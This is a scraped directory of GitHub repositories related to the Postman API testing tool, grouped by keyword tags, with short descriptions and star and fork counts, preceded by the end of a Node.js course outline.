00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
bcariaga/buildman
file, files, tool 		A tool for making files from a Postman Collection and vice versa 5 stars 5 watchers 0 forks
AnilDeshpande/todolistpostmancollection
collection, file, files, import, imported, json, list, service, services, test, todo 		Just contains POSTMAN collection json files which can be imported by the people who want to use this to test the web services 0 stars 0 watchers 3 forks
endyquang/TestCasesToJSON
case, cases, excel, file, files, form, format, parsing, test, tool 		A tool that help parsing test cases from excel files to postman format. 1 stars 1 watchers 0 forks
guvkon/grunt-postman-variables
file, files, place, variable, variables 		Replace Postman variables in JS files from globals.postman_globals 1 stars 1 watchers 0 forks
automat-project/Marketplace-API
automat, file, files, place 		AutoMat Marketplace API files 1 stars 1 watchers 0 forks
blueworld-gmbh/postbox
collection, file, files, postbox, tool 		A tool to split up a Postman collection into files. One file per request. 1 stars 1 watchers 0 forks
ForgeCloud/FRaaS-Postman
current, file, files 		JSON files with current Postman Scripts / Environments 1 stars 1 watchers 0 forks
HilscherAutomation/netFIELD-postman
file, files, integrate 		These JSON files allow the use of Postman to easily integrate the API's offered in netFIELD.io into your code. 1 stars 1 watchers 0 forks
raw34/postman-collection-generators
charles, collection, file, files, generator, generators, openapi, postman collection, swagger 		Generate postman collection from files, like postman, openapi, swagger, charles... 1 stars 1 watchers 0 forks
jolie1191/Eng-Connector-React-Nodejs-Project
auth, authentication, backed, backend, dashborad, file, files, network, posts, profile, profiles, social, stat 		- A small social network with authentication, profiles, dashborad, posts - More Details: - Create backedn API with Node/Express - Test with Postman - Explore the Bootstrap Theme - Implement React and connect with the backend - Implement Redux for state management - Prepare, build & deploy to Heroku 1 stars 1 watchers 0 forks
NordeaOB/swaggers
file, files, swagger 		Nordea Open Banking API Swagger and Postman files 0 stars 0 watchers 2 forks
openMF/mifos-io-configuration
config, configuration, document, documentation, environment, file, files, queries 		Config files, postman queries, documentation for Mifos.io lab environment 0 stars 0 watchers 2 forks
rafi/req8
alternative, file, files, native, terminal 		Manage HTTP RESTful APIs per-project in YAML files (Postman alternative for the terminal) 0 stars 0 watchers 2 forks
rodydavis/Tesla-API
file, files 		Postman files for Tesla API Testing 0 stars 0 watchers 2 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
sqren/tsapi-electron
config, configuration, electron, file, files 		Postman-like app, but with configuration files... 0 stars 0 watchers 2 forks
ITV/pmpact
collection, collections, command, command line, convert, file, files, tool 		A command line tool to convert Pact files to Postman collections. 0 stars 0 watchers 1 forks
Mipside/ServletsTask_Part1
file, files, json, task, test, testing 		Servlets task with CRUD Operations, json files that are testing via Postman 0 stars 0 watchers 1 forks
call-a3/api-blueprint-to-postman
blueprint, collection, collections, file, files, postman collection, postman collections, print 		Converts Blueprint files to postman collections 0 stars 0 watchers 0 forks
DavidUser/postman-files
collection, collections, file, files, postman collection, postman collections, system 		Edit postman collections as simple system files 0 stars 0 watchers 0 forks
Adobe-Marketing-Cloud/exchange-aep-profile-integration-postman
assist, collection, exchange, file, files, integration, partner, partners, postman collection, profile 		A postman collection to assist Exchange partners to build an integration with AEP Profiles 0 stars 0 watchers 0 forks
achu1998/car-rental-management
collection, file, files, front end, heroku, host, json, local, mongo, mongod, mongodb, node, postman collection 		A Car-Rental-Management developed on node and mongodb and deployed in heroku. The postman collection is in postman-collection.json file. Add car page doesn't have front end . Car are manually added through the body which is clearly mentioned in the README.md file. This repository has the files implemented in localhost.Visit this repo: 0 stars 0 watchers 0 forks
raghwendra-sonu/APIDataDriverTestingWithPostman
data, drive, driven, file, files, friend, http, https, json, link, river, source, test, testing 		https://medium.com/@Raghwendra.sonu/data-driven-testing-with-postman-using-csv-and-json-files-c4f112015eb3?source=friends_link&sk=d0e70700ef7d717ecb4c86dded9552ef 0 stars 0 watchers 0 forks
tvaroglu/TestingBackup
file, files, test, testing 		Backup repo for Postman and k6 testing files 0 stars 0 watchers 0 forks
agnes1991/ptl
file, files, postman scripts, script, scripts 		postman scripts to locust files 0 stars 0 watchers 0 forks
Arnaud80/Postman-Infor_Nexus
file, files 		Postman files for Infor Nexus 0 stars 0 watchers 0 forks
BlitZC4/SpringBootJacksonProjectBinding
background, browser, client, clients, embedded, file, files, print 		A SpringBoot Demo app using Jackson project in the background to print out the Json files that are embedded in the project on the clients screen when it sneds GET request through a browser or a REST client like postman. 0 stars 0 watchers 0 forks
BubbaMachina/nodeHerokuServer
connected, file, files, front end, heroku, myself, node, tutorial 		My tutorial for myself on how to use node, and deploy to heroku with as little files as possible. Postman is front end for now, and Mongo DB is connected to this as well 0 stars 0 watchers 0 forks
Carmot/apigee-baas-postman
apigee, example, examples, file, files 		Postman files with Apigee BaaS API calls examples. 0 stars 0 watchers 0 forks
czardoz/postman-dump-processor
dump, file, files, process 		Processes Postman's dump files 0 stars 0 watchers 0 forks
DanielMcAssey/SharedUploader-Postman
file, files, module, tool, tools 		Part of the SharedUploader suite of tools: Uploads files to the SharedUploader Server module 0 stars 0 watchers 0 forks
DanielMcAssey/SharedUploader-Watcher
file, files, function, functional, module, tool, tools, upload 		Part of the SharedUploader suite of tools: Easy tool to upload files to the SharedUploader Server module. REQUIRES SharedUploader-Postman. [DEPRECATED: ShareX provides more functionality] 0 stars 0 watchers 0 forks
dharfleet/SalesforcePostman
file, files, related 		Config files related to using Postman against Salesforce 0 stars 0 watchers 0 forks
FilipecbRibeiro/RestApi_CRUD_Hibernate_MySQL_Showroom_XML_Response
file, files 		No view files, using only PostMan! 0 stars 0 watchers 0 forks
foobar1643/ApiDocumentor
collection, document, documentation, file, files, generate, tool 		A tool that allows you generate documentation to the API based on Postman collection files 0 stars 0 watchers 0 forks
fsoft72/postman-composer
compose, composer, file, files, single, software 		A software to merge multi Postman files into a single one 0 stars 0 watchers 0 forks
happymonktests/postman_collection
collection, config, file, files, test, tests 		postman_collection_and_all_config_files 0 stars 0 watchers 0 forks
harryi3t/postman-logs
file, files, logs 		Visualize Postman log files 0 stars 0 watchers 0 forks
hifly81/fschecker
check, file, files, operation, operations 		Rest APIs for CRUD operations on text files 0 stars 0 watchers 0 forks
hiteshere/jwt_authorization
auth, authorization, file, files, function, functional, implementation, operation, operations 		jwt basic implementation with get, post and put operations functional with postman files 0 stars 0 watchers 0 forks
info441-sp19/postman-examples
demonstrate, example, examples, file, files 		Postman files for lab 3 to demonstrate how to use Postman. 0 stars 0 watchers 0 forks
jsnyder81/ArubaCentral_Postman_Collection
collection, file, files, json 		A collection of APIs from the Aruba Central Swagger json files 0 stars 0 watchers 0 forks
karbonhq/karbon-api-reference
access, developer, developers, file, files, reference 		Access to Postman files and other items to make accessing the API easier for our developers. 0 stars 0 watchers 0 forks
KenC1014/Task-management-app
access, application, backend, endpoint, endpoints, file, files, server, task 		This contains all server side Node.js files for task management application. This is a pure backend application. All the endpoints are accessible via Postman. Express server and Mongoose are used. 0 stars 0 watchers 0 forks
krukarkonrad/task
file, files, folder, module, modules, node, task 		[Internship Assignment]Simple REST API (unzipping may be surprisingly "long" because of "root/node_modules" folder amount of small files) 0 stars 0 watchers 0 forks
maherAbuyounes/postman
file, files 		postman after added tow files 0 stars 0 watchers 0 forks
mastermalone/bundle_runner_files
bundle, file, files, json, runner, runners, script, scripts 		Bash scripts to create .json files used for Postman runners 0 stars 0 watchers 0 forks
MerumRaviTeja/Basic-Authentication-with-rest-postman-credentails-with-screenshots
example, file, files, rest, screenshots 		example files 0 stars 0 watchers 0 forks
mmurphyhx/Postman-Example
file, files, version 		Testing the version control of postman files 0 stars 0 watchers 0 forks
pozil/postman-extractor
actor, export, extract, extractor, file, files, resource, resources, source, util, utility, version, versioning 		Postman Extractor (pmx) is a utility that extracts/compacts resources from Postman export files for easier versioning. 0 stars 0 watchers 0 forks
qbicsoftware/postman-core-lib
data, dataset, download, file, files, sets, software, util, utilities 		Core libraries providing utilities for the download of OpenBIS files and datasets 0 stars 0 watchers 0 forks
shubhamjadon/SampleSingleRequestRun
details, file, files, inside, sample, single, test 		This repository contains all the files used to test sample single request run feature and details of changes made inside postman repository to add the feature 0 stars 0 watchers 0 forks
surendragurram/UploadOfXMLServerUsingPostman
file, files, upload 		upload files using postman 0 stars 0 watchers 0 forks
thiagojsantos/postman-repo
file, files 		This is a repository for postman files 0 stars 0 watchers 0 forks
TonyThorne/postman-DS
file, files 		Direct Services Postman files 0 stars 0 watchers 0 forks
venkatgunneri/Messenger-App
client, collection, comments, file, files, message, messages, notation, resource, resources, source 		Messaging App, Creating Profiles, can share messages with sub resources as comments and likes. Code written in using REST API annotations and getting response in JSON. Postman API as a client. worked on resource URI's and collection URI's. 0 stars 0 watchers 0 forks
VignaanVardhan/API
access, client, file, files, folder, folders 		API to get the files and folders in a folder in a folder and get a file by ID,Ability to access this API via REST client like POSTMan 0 stars 0 watchers 0 forks
voutsasva/RatesExchangeApi-Postman
collection, concerning, enviroment, file, files 		Postman collection and enviroment files concerning Rates Exchange API. 0 stars 0 watchers 0 forks
VPihalov/Social-network
auth, authentication, developer, developers, file, files, forum, implementation, implementations, includes, network, posts, profile, profiles, social 		It is a social network app for developers that includes authentication, profiles, forum posts. App is based on MERN stack (MongoDB, Mongoose, React, Redux, Nodejs, Express). Main implementations are React Hooks, Redux, Postman, Bcrypt, Heroku, Git flow 0 stars 0 watchers 0 forks
xzhang007/Multithread-Web-Server
actor, auth, authentication, binary, capable, current, design, file, files, handling, image, images, method, network, parsing, reading, send, server, sync, synchronize, test, user, version, versions 		Developed a web server in Java capable of handling HTTP requests and parsing those requests, and sending out various HTTP responses. • Handles basic user authentication and CGI which could execute concurrently using multithreading and synchronized method. And it could send binary files like images over network. • Using GitHub repository to control versions and Postman to test as well as factory design pattern. 0 stars 0 watchers 0 forks
yaeldonner/CoreApiRegressionTests
file, files 		Core API Regression Tests- postman files 0 stars 0 watchers 0 forks

generate (59 listings) (Back to Top)

kielabokkie/blueman
collection, file, generate, generated, print 		Convert a generated API Blueprint JSON file into a Postman collection 143 stars 143 watchers 18 forks
davidevernizzi/docman
collection, collections, document, documentation, generate, postman collection, postman collections 		A simple page to generate documentation from postman collections 46 stars 46 watchers 18 forks
djfdyuruiry/swagger2-postman-generator
bodies, collection, collections, generate, generator, sample, swagger, swagger2 		Use Swagger v2 JSON Collections to generate Postman v1 collections which include sample request bodies 28 stars 28 watchers 14 forks
dtzar/openapi-auto-test
automat, automate, automated, collection, generate, generates, newman, openapi, reads, test, tests 		Automatically reads an OpenAPI 3.0 defintion and generates a Postman collection to be used with newman for automated API tests. 22 stars 22 watchers 1 forks
thewheat/intercom-postman-collection
action, collection, developer, developers, extract, file, generate, http, reference, test, version 		A Postman Collection file for the Intercom API http://developers.intercom.com/reference Includes extraction code to generate the latest version 7 stars 7 watchers 7 forks
panz3r/apidoc-postman
apidoc, collection, collections, generate, tool 		A tool to generate Postman collections from apiDoc Inline Documentation 7 stars 7 watchers 3 forks
txthinking/frank
automat, automate, automated, command, command line, document, generate, markdown, test, testing, tool 		Frank is a REST API automated testing tool like Postman but in command line. Auto generate markdown API document. 0 stars 0 watchers 10 forks
benfluleck/random-phone-number-generator
file, generate, generator, implements, java, javascript, order, phone, random, script, spec 		Random number generator is a full stack javascript app that implements a simple way to generate phone numbers in a file in an order specified 4 stars 4 watchers 2 forks
Avinash-Raj/docs-from-POSTMAN
collection, docs, generate, generates, script 		Python script which generates docs from POSTMAN collection url 0 stars 0 watchers 5 forks
jarroda/ServiceStack.Api.Postman
collection, collections, generate, generated, plugin 		A ServiceStack plugin providing auto-generated Postman collections 0 stars 0 watchers 4 forks
rminds/postman-docs
docs, generate, generated, template 		Documentation template generated from Postman 1 stars 1 watchers 2 forks
ravivamsi/postmanframework
framework, generate 		Node Application to run the Postman Collection and generate Newman Reports 0 stars 0 watchers 4 forks
hanikhan/postman-collection-runner
collection, collections, export, exported, generate, module, newman, report, reports, runner 		Uses postman's newman module to run exported POSTMAN collections and generate detailed reports 1 stars 1 watchers 1 forks
AndrewKeig/supertest-postman
collection, file, generate, postman collection, supertest, test, tests 		This project will take a postman collection v2 file and generate supertest tests. 1 stars 1 watchers 1 forks
aubm/postmanerator-markdown-theme
content, generate, generates, markdown, theme 		A theme for Postmanerator that generates markdown content 1 stars 1 watchers 1 forks
xuziping/ApiHelper
generate 		It could generate ApiDoc and Postman Json 0 stars 0 watchers 3 forks
tagomaru/burp-extension-postman-integration
burp, collection, extension, file, generate, integration, json 		Postman Integration is an extension for burp to generate Postman collection fomat json file. 0 stars 0 watchers 2 forks
donalfenwick/Swashbuckle.SwaggerToPostman
collection, generate, generated, library, middleware, postman collection, schema, swagger 		AspNetCore middleware which uses the Swashbuckle.AspNetCore library produce a postman collection (v2.1) from the swagger schema generated by swashbuckle. 1 stars 1 watchers 0 forks
jabelk/cisco-nso-postman
cisco, collection, common, generate, grant, sample, task, tasks 		A collection of sample NSO API calls for common tasks, also used to generate the Swagger Docs Examples. All created using the nso-vagrant set up. 1 stars 1 watchers 0 forks
jiangtianyou/AutoApi
controller, generate, java 		Auto generate api for postman from java controller 1 stars 1 watchers 0 forks
kashyaparjun/OAuth2NodeJS
auth, authenticate, authorise, generate 		OAuth2 Server to generate Tokens, authorise and authenticate 1 stars 1 watchers 0 forks
Odusanya18/postman-to-slate-examples
docs, example, examples, generate, generated, generator, holds, java, slate 		This holds example docs generated by the postman to slate generator written in java 1 stars 1 watchers 0 forks
pedroSG94/lazy-api-rest
collection, export, exported, generate, json, module, postman collection, rest 		Python project to generate a API rest module for Android using a json exported from postman collection 1 stars 1 watchers 0 forks
yurkiss/PostmanImportWSDL
collection, file, generate 		Parse WSDL and generate Postman collection v2.0 JSON file. 1 stars 1 watchers 0 forks
jamesholcomb/Postman.WebApi.MsBuildTask
collection, collections, generate 		An MsBuild Task to generate Postman 3 collections 0 stars 0 watchers 1 forks
accubits/API-doc-auto-generator
collection, document, documentation, generate, generator 		Simple app to generate API documentation from Postman collection 0 stars 0 watchers 1 forks
darkestpriest/postman-environment-generator
config, configuration, environment, environments, generate, generates, generator, library 		A library that generates environments for postman using a simple configuration 0 stars 0 watchers 1 forks
flascelles/synthetic-API-traffic-generation
collection, collections, general, generate, generation, model, models, postman collection, postman collections, script, scripts, traffic, training 		scripts and postman collections to generate synthetic api traffic for training ML models and general purposes 0 stars 0 watchers 0 forks
gmanideep1991/gradle-newman-runner
collection, collections, development, generate, gradle, newman, postman collection, postman collections, report, reports, runner 		Run postman collections and generate reports. Still in development. 0 stars 0 watchers 0 forks
bryannbarbosa/tagger-laravel
generate, generates, laravel, library 		This library generates Postman Routes based on Laravel Routes 0 stars 0 watchers 0 forks
thneeb/swagger2postman
collection, file, generate, generated, json, node, nodejs, postman collection, spec, swagger, swagger2, test, testing, tool 		This little nodejs tool gets a swagger.json on the one hand and generated a postman collection file for testing the specified api on the other hand. 0 stars 0 watchers 0 forks
aspirantll/auto-generate-postman-json
description, generate, json, script 		No description available. 0 stars 0 watchers 0 forks
andreprawira/Simple-REST-API-using-Spring-Boot-Hibernate-and-MySQL-Database
application, data, database, employee, employees, forge, generate, generated, list, method, properties, resource, resources, single, source, spec 		It's a very simple REST API for employee management using Spring Boot, Hibernate, and MySQL. Test it with Postman: Use GET method to list all of the employees or a single employee specified by ID Use POST method to save an employee (ID auto generated) or use a PUT method to update if employee ID already exist (specify the employee ID in the url to update) Use DELETE method to delete an employee (specify the employee ID in the url to delete) Dont forget to change the application.properties to connect the database with the app (located in src/main/resources/application.properties) 0 stars 0 watchers 0 forks
Atanyanta/Atanyanta.github.io
automat, automate, automated, correct, data, generate, github, postman tests, stat, test, tests 		Quickly generate automated postman tests to ensure data is static and returns correctly 0 stars 0 watchers 0 forks
BahgatMashaly/JavaEntityFrameworkFromDatabaseToPostMan
controller, file, generate, model, service 		Auto generate model, repository, service, controller and postman file 0 stars 0 watchers 0 forks
carlaulloa/postman-report-test-rest
generate, report, reports, rest, test 		App to generate reports with Postman and Newman 0 stars 0 watchers 0 forks
ChristianHarms/postman2doc
data, document, generate, script 		A small script to generate a plain API document based on postman data 0 stars 0 watchers 0 forks
ckailash/myob-php-oauth2
api blueprint, asyncapi, auth, collection, generate, generated, json schema, myob, oauth, oauth2, openid, postman collection, sql 		Myob PHP SDK for oAuth 2 generated from Myob API OpenAPI Spec 3.0 generated from the postman collection 0 stars 0 watchers 0 forks
cncal/parrot
apidoc, automat, automatic, automatically, export, exported, file, generate, json, parse, tool 		A tool used to parse json file exported from Postman and generate apidoc automatically. 0 stars 0 watchers 0 forks
crisplaver/postman-document-generator
collection, document, file, generate, generator, html, json 		generate postman html page using collection v2.1 json file 0 stars 0 watchers 0 forks
foobar1643/ApiDocumentor
collection, document, documentation, file, files, generate, tool 		A tool that allows you generate documentation to the API based on Postman collection files 0 stars 0 watchers 0 forks
hnalabanda/HN82twy
generate, generated 		This was generated by Postman 0 stars 0 watchers 0 forks
ivantw08/PostmanAutoDocument
document, file, generate, html 		This project allow you to auto generate html file for document 0 stars 0 watchers 0 forks
kdubovikov/ben-the-postman
generate, mail 		Using LSTMs to generate Emails 0 stars 0 watchers 0 forks
KevCui/varman
file, generate, guardsman, human, json, newman, readable, script, variable, yaml 		:guardsman: A script to generate postman/newman global variable json from human readable yaml file 0 stars 0 watchers 0 forks
kgrech/postman2tex
collection, document, documentation, generate, latex, postman collection, tool 		The tool to generate latex documentation based on given postman collection 0 stars 0 watchers 0 forks
larrydeck/postman-oclc-hmac
auth, authorization, generate, header, hmac, script, signature, signatures 		Postman pre-request script to generate HMAC signatures and authorization headers for OCLC APIs. 0 stars 0 watchers 0 forks
mahiakshay/Hello-World
generate, generated 		This is your first repository generated via POSTMAN GitHub API 0 stars 0 watchers 0 forks
mateusbzerra/api-to-md
application, beauty, file, generate, markdown 		A NodeJS application to generate a beauty markdown file from Insomnia/Postman JSON file. 0 stars 0 watchers 0 forks
mklabs/postman-to-apiblueprint
blueprint, collection, generate, print, tool 		A relatively simple tool to generate API Blueprint from a Postman collection. 0 stars 0 watchers 0 forks
niallc95/PaymentAPI
generate, http, payment, process 		Uses simplify to process http payment requests. Use postman to generate these requests 0 stars 0 watchers 0 forks
peerapongsam/apidoc-postman
apidoc, collection, file, generate, plugin, postman collection 		plugin for generate postman collection file 0 stars 0 watchers 0 forks
pinguo-lixin/postman
collection, generate, html, markdown, parse, postman collection 		parse postman collection to generate markdown, html etc. 0 stars 0 watchers 0 forks
potherca-abandoned/PostmanParser
document, documentation, generate, generated, longer, maintained, object, struct, structure 		⚠️ This project in no longer maintained. ⚠️ -- Parse POSTman Collection JSON into an object structure so documentation can be generated from it. 0 stars 0 watchers 0 forks
ryo034/nuxt-api-document
document, generate 		Automatically generate API Document from postman 0 stars 0 watchers 0 forks
Sheshadrinath/url-shortner
generate, shortener 		Would like to get your own URL shortener. Get it right now to generate your own simple URL's using NodeJs 0 stars 0 watchers 0 forks
signavio/postman-environment-updater
environment, generate, generates, token, variable 		generates a jwt token and updates a given Postman environment variable 0 stars 0 watchers 0 forks
virtualization-service/postman-ui
generate, service 		code to generate ui from postman project 0 stars 0 watchers 0 forks
weijian1/postman-api-document
document, generate 		generate API document by Postman 0 stars 0 watchers 0 forks

endpoints (58 listings) (Back to Top)

DevMountain/endpoint-testing-mini
endpoint, endpoints, mini, test, testing 		A mini project to introduce how to test endpoints using Postman. 2 stars 2 watchers 287 forks
DevMountain/endpoint-testing-afternoon
endpoint, endpoints, test, testing 		An afternoon project to help solidify testing endpoints using Postman. 4 stars 4 watchers 204 forks
docusign/postman-esign-api-collection
case, cases, collection, docusign, endpoint, endpoints, guide, recipe 		A easy guide to Getting Started with DocuSign's E-Signature API using Postman. Showcases recipes and all REST API endpoints 0 stars 0 watchers 31 forks
iyzico/iyzipay-postman
endpoint, endpoints, iyzipay, learn, learning 		Easiest way of learning the endpoints of iyzipay API 10 stars 10 watchers 8 forks
src-system42/cognito-postman-templates
cognito, collection, collections, endpoint, endpoints, system, template, templates, test 		Generator for creating Postman collections to test Cognito endpoints. 9 stars 9 watchers 4 forks
open-source-labs/Swell
developer, developers, development, enable, enables, endpoint, endpoints, including, served, source, streaming, technologies, test, tool 		Swell: API development tool that enables developers to test endpoints served over streaming technologies including Server-Sent Events (SSE), WebSockets, HTTP2, GraphQL, and gRPC. 0 stars 0 watchers 19 forks
Advsol/iMISRESTCollection
access, endpoint, endpoints, environment, environments, interface 		Collection of endpoints and environments used to access the iMIS RESTful interface 4 stars 4 watchers 1 forks
TCGplayer/Postman-Api
collection, current, endpoint, endpoints, play 		A Postman collection containing requests for all of the current TCGPlayer API endpoints. 0 stars 0 watchers 8 forks
sendwyre/wyre-postman-collection
collection, endpoint, endpoints, sample, send, test 		This repo is filled to the brim with sample Postman API requests that allow you to test our back-end endpoints. 0 stars 0 watchers 6 forks
Cb-James/Postman-Collections
define, endpoint, endpoints 		Predefined API endpoints for use with Postman REST API Client 2 stars 2 watchers 1 forks
antonioortegajr/postman-IDX-Broker
endpoint, endpoints 		endpoints for the IDX Broker API 0 stars 0 watchers 4 forks
knaxus/the-deeplearning-bot
action, endpoint, endpoints, intelligent, learn, learning 		A intelligent bot made using NLP and Deep Learning with API endpoints for interaction. 0 stars 0 watchers 3 forks
OliverRC/Postman-WebApi-HelpDocumentation
developer, developers, endpoint, endpoints, import, imported 		Allows developers expose their MVC WebAPI endpoints so that they can be imported into postman 0 stars 0 watchers 3 forks
abhi11210646/mock-server-backend
backend, endpoint, endpoints, mock, server 		Create Fake REST API endpoints. Similar to Postman's mock server 1 stars 1 watchers 0 forks
ccjr/stellar-horizon-postman
collection, endpoint, endpoints, includes, stellar 		Postman collection that includes most Stellar Horizon endpoints. 1 stars 1 watchers 0 forks
rajaraodv/scalyr-postman
endpoint, endpoints, spec 		This project contains ready-to-be used Postman "Collection 2.0" spec for Scalyr.com's all 21 endpoints 1 stars 1 watchers 0 forks
thenikhilk/jwt-auth-webapi
auth, authenticate, authenticates, case, data, endpoint, endpoints, exposes, query, reviews, util, utility, webapi 		The purpose of this code is to develop the Restaurent API, using Microsoft Web API with (C#),which authenticates and authorizes some requests, exposes OAuth2 endpoints, and returns data about meals and reviews for consumption by the caller. The caller in this case will be Postman, a useful utility for querying API’s. 1 stars 1 watchers 0 forks
shawnmarie/projectRoles_PostmanTests
collection, endpoint, endpoints, test, tests 		collection of Postman api tests for the Project Roles endpoints 0 stars 0 watchers 1 forks
tnimni/il-moh-covid19-api-collection
collection, covid, endpoint, endpoints 		A postman api collection for Israeli MOH api endpoints 0 stars 0 watchers 1 forks
wanderindev/postman-hr-rest-api
endpoint, endpoints, environment, rest 		Collection of endpoints and environment for hr-rest-api 0 stars 0 watchers 1 forks
xrayin/springboot-rest-image-retriever
application, boot, current, directory, endpoint, endpoints, file, host, http, image, images, local, program, resource, resources, rest, retrieve, source, spring, spring boot, springboot, system 		A spring boot application that uses REST to retrieve an image. Images are currently saved in the directory resources/images for convenience. Best practice would be to save it to a file system. Call any of the endpoints with a program of your choice, I used Postman. e.g. GET -> http://localhost:8080/images/abcd.png 0 stars 0 watchers 1 forks
akash-akya/resty.el
endpoint, endpoints, interface, rest, resty 		WIP: Programmable emacs interface to interact with RESTful endpoints 0 stars 0 watchers 0 forks
SalahEddine007/mern_devconnector
action, application, backend, bank, basics, component, components, container, course, editor, elegant, endpoint, endpoints, extension, frontend, includes, integrate, mern, network, rating, resource, resources, route, routes, script, social, source, stat, test, testing, workflow 		Welcome to "MERN Stack Front To Back". In this course we will build an in depth full stack social network application using Node.js, Express, React, Redux and MongoDB along with ES6+. We will start with a bank text editor and end with a deployed full stack application. This course includes... Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension Creating a build script, securing our keys and deploy to Heroku using Git This is NOT an "Intro to React" or "Intro to Node" course. It is a practical hands on course for building an app using the incredible MERN stack. I do try and explain everything as I go so it is possible to follow without React/Node experience but it is recommended that you know at least the basics first. 0 stars 0 watchers 0 forks
abhishektappp/postman
endpoint, endpoints, test, testing 		testing endpoints 0 stars 0 watchers 0 forks
adrian-kriegel/lemur-api-node
check, document, documents, endpoint, endpoints, node, struct, structure 		[BETA] Lemur checks body structure, sanitizes and documents endpoints in postman 0 stars 0 watchers 0 forks
guys1444/node.js-socialNetwork
action, backend, component, components, container, elegant, endpoint, endpoints, extension, frontend, integrate, node, rating, resource, resources, route, routes, social, source, stat, test, testing, workflow 		socialNetwork that ive made in node.js Building an extensive backend API with Node.js & Express Protecting routes/endpoints with JWT (JSON Web Tokens) Extensive API testing with Postman Integrating React with our backend in an elegant way, creating a great workflow Building our frontend to work with the API Using Redux for app state management Creating reducers and actions for our resources Creating many container components that integrate with Redux Testing with the Redux Chrome extension ,MERN STACK 0 stars 0 watchers 0 forks
5-gwoap/postman-config
config, endpoint, endpoints 		Our API endpoints 0 stars 0 watchers 0 forks
andynhn/java-spring-mvc-demo-books
book, books, endpoint, endpoints, java, method, methods, spring, test 		Add update and delete methods and test the endpoints with Postman 0 stars 0 watchers 0 forks
chrisdetmering/first_routes_and_controllers
controller, endpoint, endpoints, interacted, rails, route, routes 		I used rails to make my first API endpoints (routes) and I made controllers. I also interacted with them through postman. 0 stars 0 watchers 0 forks
DanDaika/Spotify_Api_Testing
endpoint, endpoints 		Test Spotify API endpoints, using POSTMAN. 0 stars 0 watchers 0 forks
DhamuSniper/REST-API-for-notes-CRUD-TESTING-with-POSTMAN-TESTING-API
endpoint, endpoints, note, notes, test, tested 		This app create notes based GET, POST, PUT, DELETE endpoints. This endpoint have been tested with POSTMAN API TESTING TOOL 0 stars 0 watchers 0 forks
eHound/examples
endpoint, endpoints, example, examples 		Code examples for eHound API endpoints. To be used in conjunction with Postman Collections. 0 stars 0 watchers 0 forks
Ghop11/postmanAutomationAnimalFacts
animal, automat, automation, docs, endpoint, endpoints, facts, github, html, http, https 		API automation for animal facts. https://alexwohlbruck.github.io/cat-facts/docs/endpoints/facts.html 0 stars 0 watchers 0 forks
go4lab/koa-agile-web-server
agile, endpoint, endpoints, server, test 		Build, run & test Koa Agile Web Server & test endpoints easily with Postman. 0 stars 0 watchers 0 forks
hirosht/restAssuredApiTestFramework
case, cases, endpoint, endpoints, framework, maven, rest, sample, struct, structure, test 		Sample framework written for API Testing using RestAssured/TestNg. Project is structured with the maven repo. The sample test cases are pointed to endpoints given from Postman. 0 stars 0 watchers 0 forks
jensvog/serverless-postman-env-plugin
endpoint, endpoints, environment, file, http, plugin, server, serverless 		Serverless plugin for creating a postman environment file from http endpoints 0 stars 0 watchers 0 forks
JessOtte/otte-express-lab
communicate, endpoint, endpoints, express, module, route, routes, server, server. 		Task: Build a REST API with an Express server. Create a module that contains routes for your front-end to communicate with. Test the endpoints with Postman. 0 stars 0 watchers 0 forks
joaope/RoutingInspector
endpoint, endpoints, form, format, information, spec 		Add extra information endpoints to your ASP.NET Core API or Application 0 stars 0 watchers 0 forks
june97y/training001_mission002
application, content, endpoint, endpoints, json, training, type, verify 		Create CRUD endpoints that return in content type "application/json", verify the CRUD endpoints using Postman. 0 stars 0 watchers 0 forks
KenC1014/Task-management-app
access, application, backend, endpoint, endpoints, file, files, server, task 		This contains all server side Node.js files for task management application. This is a pure backend application. All the endpoints are accessible via Postman. Express server and Mongoose are used. 0 stars 0 watchers 0 forks
kingokeke/postman-api-tutorial
endpoint, endpoints, tutorial 		This repo is for a tutorial on how to build out API endpoints using only Postman 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
